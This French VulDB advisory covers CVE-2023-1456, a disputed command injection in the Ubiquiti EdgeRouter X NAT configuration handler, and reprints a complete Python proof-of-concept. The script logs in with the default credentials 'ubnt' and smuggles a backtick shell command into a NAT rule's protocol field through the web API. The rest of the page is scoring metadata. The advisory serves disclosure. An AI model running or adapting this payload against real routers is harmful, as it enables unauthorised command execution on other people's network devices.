Ubiquiti EdgeRouter X 2.0.9-hotfix.6 NAT Configuration elévation de privilèges ⚔ [Contesté]

CVSS Score de méta-températureExploit Prix Actuel (≈)Score d'intérêt CTI
7.8$0-$5k0.18

Une vulnérabilité a été trouvé dans Ubiquiti EdgeRouter X 2.0.9-hotfix.6 (Router Operating System) et classée critique. Affecté par cette vulnérabilité est une fonction inconnue du composant NAT Configuration Handler. A cause de la manipulation avec une valeur d'entrée inconnue mène à une vulnérabilité de classe elévation de privilèges.

La vulnerabilité a été publié en 17/03/2023 (non défini). Cette vulnérabilité a été nommée CVE-2023-1456. Les details techniques sont inconnus mais une méthode d'exploitation publique est connue.

L'exploit est disponible au téléchargment sur vuldb.com. Il est déclaré comme proof-of-concept. L'existence réelle de cette vulnérabilité est toujours mise en doute pour le moment. Le code utilisé par l'exploit est:

import requests
import json
import time
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

username = 'ubnt'
password = 'ubnt'
device_web_ip = '192.168.1.1'
ping_target = '192.168.1.5'
inject_cmd = 'ping -c 1 ' + ping_target
#inject_cmd = 'touch /etc/test'


phpsessid = '35a9f702c8c6486596c6b749a6fd9d1c'
csrftoken = 'ca13a024a18598042d0d1323146ea18af8a44554eb8a68c7807a9cd6f5a6cca6'
header ={
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/x-www-form-urlencoded', 
  'Content-Length': '27', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken), 
  'Upgrade-Insecure-Requests': '1', 
  'Sec-Fetch-Dest': 'document', 
  'Sec-Fetch-Mode': 'navigate', 
  'Sec-Fetch-Site': 'same-origin', 
  'Sec-Fetch-User': '?1'
  }
login_body = 'username={}&password={}'.format(username,password)
login_url = 'https://{}/'.format(device_web_ip)

loop = 3
r = None
while loop>0:
  try:
    loop -= 1
    r = requests.post(url=login_url,headers=header,data=login_body,\
      timeout=5,verify=False,allow_redirects=False)
    if r is None or 'Set-Cookie' not in r.headers.keys():
      print("Login failed.")
      time.sleep((3-loop)*3)
    else:
      break
  except Exception as e:
    print('Login error:{}'.format(e))

if r is None:
  print('Failed login,please check and retry!')
  exit(1)

tmp:dict = requests.utils.dict_from_cookiejar(r.cookies)
for k,v in tmp.items():
  if 'PHPSESSID' == k:
    phpsessid = '{}'.format(v)
  elif 'X-CSRF-TOKEN' == k:
    csrftoken = '{}'.format(v)
  elif 'beaker.session.id' == k:
    sessionid = '{}'.format(v)
cookie = 'PHPSESSID={0}; X-CSRF-TOKEN={1}; beaker.session.id={0}; ip_address_top_user_option=total_bytes'.format(phpsessid,csrftoken) 

param = {'SET': {'service': {'nat': {'rule': {'5000': 
  {'type': 'source', 'description': 'dummy', 'log': 'enable', 
  'protocol': 'tcp`{}`'.format(inject_cmd), 
  'source': '', 
  'destination': {'address': '10.10.23.12', 'port': '998'}, 'outbound-interface': 'eth4'}}}}}, 
  'GET': {'service': {'nat': {'rule': {'5000': ''}}}}}

victim_url = 'https://{}/api/edge/batch.json'.format(device_web_ip)
victim_body = json.dumps(param)
victim_header = {
  'Host': '{}'.format(device_web_ip), 
  'User-Agent': 'dummy', 
  'Accept': 'application/json, text/javascript, */*; q=0.01', 
  'Accept-Language': 'en-US,en;q=0.5', 
  'Accept-Encoding': 'gzip, deflate, br', 
  'Content-Type': 'application/json', 
  'X-CSRF-TOKEN': '{}'.format(csrftoken), 
  'X-Requested-With': 'XMLHttpRequest', 
  'Origin': 'https://{}/'.format(device_web_ip), 
  'Connection': 'keep-alive', 
  'Referer': 'https://{}/'.format(device_web_ip), 
  'Cookie': 'PHPSESSID={0};X-CSRF-TOKEN={1};ip_address_top_user_option=total_bytes;beaker.session.id={0}'.format(phpsessid,csrftoken), 
  'Sec-Fetch-Dest': 'empty', 
  'Sec-Fetch-Mode': 'cors', 
  'Sec-Fetch-Site': 'same-origin'}
r = requests.post(url=victim_url,headers=victim_header,data=victim_body,\
  timeout=5,verify=False,allow_redirects=False)
print(r.status_code)

Il n'y a aucune information à propos de possibles contremesures connues. Il est suggéré de remplacer l'object infecté par un produit alternatif.

Produitinfo

Taper

Fournisseur

Nom

Version

Licence

CPE 2.3info

CPE 2.2info

CVSSv4info

VulDB CVSS-B Score: 🔍
VulDB CVSS-BT Score: 🔍
VulDB Vecteur: 🔍
VulDB Fiabilité: 🔍

CVSSv3info

VulDB Score méta-base: 8.1
VulDB Score de méta-température: 7.8

VulDB Note de base: 7.2
VulDB Note temporaire: 6.5
VulDB Vecteur: 🔍
VulDB Fiabilité: 🔍

NVD Note de base: 9.8
NVD Vecteur: 🔍

CNA Note de base: 7.2
CNA Vecteur (VulDB): 🔍

CVSSv2info

AVACAuCIA
💳💳💳💳💳💳
💳💳💳💳💳💳
💳💳💳💳💳💳
VecteurComplexitéAuthentificationConfidentialitéIntégritéDisponibilité
ouvrirouvrirouvrirouvrirouvrirouvrir
ouvrirouvrirouvrirouvrirouvrirouvrir
ouvrirouvrirouvrirouvrirouvrirouvrir

VulDB Note de base: 🔍
VulDB Note temporaire: 🔍
VulDB Fiabilité: 🔍

NVD Note de base: 🔍

Exploitinginfo

Classe: Elévation de privilèges
CWE: CWE-77 / CWE-74 / CWE-707
ATT&CK: T1202

Localement: Non
Remote: Oui

Disponibilité: 🔍
Accéder: Publique
Statut: Proof-of-Concept
Télécharger: 🔍

EPSS Score: 🔍
EPSS Percentile: 🔍

Prédiction de prix: 🔍
Estimation actuelle des prix: 🔍

0-Dayouvrirouvrirouvrirouvrir
Aujourd'huiouvrirouvrirouvrirouvrir

Renseignements sur les menacesinfo

Intérêt: 🔍
Acteurs actifs: 🔍
Groupes APT actifs: 🔍

Contre-mesuresinfo

Recommandé: aucune mesure d'atténuation connue
Statut: 🔍

Heure 0 jour: 🔍

Chronologieinfo

17/03/2023 🔍
17/03/2023 +0 jours 🔍
17/03/2023 +0 jours 🔍
11/04/2023 +25 jours 🔍

Sourcesinfo

Statut: Non défini
Contesté: 🔍

CVE: CVE-2023-1456 (🔍)
scip Labs: https://www.scip.ch/en/?labs.20161013

Entréeinfo

Établi: 17/03/2023 08:38
Mise à jour: 11/04/2023 11:47
Changements: 17/03/2023 08:38 (39), 17/03/2023 08:39 (3), 11/04/2023 11:40 (2), 11/04/2023 11:47 (28)
Compléter: 🔍
Auteur: leetmoon

Submitinfo

Accepté

  • Submit #99970: Command injection at the web management interface of EdgeRouter-x (par leetmoon)

Discussion

Aucun commentaire pour l'instant. Langues: fr + en.

Veuillez vous connecter pour commenter.

Do you want to use VulDB in your project?

Use the official API to access entries easily!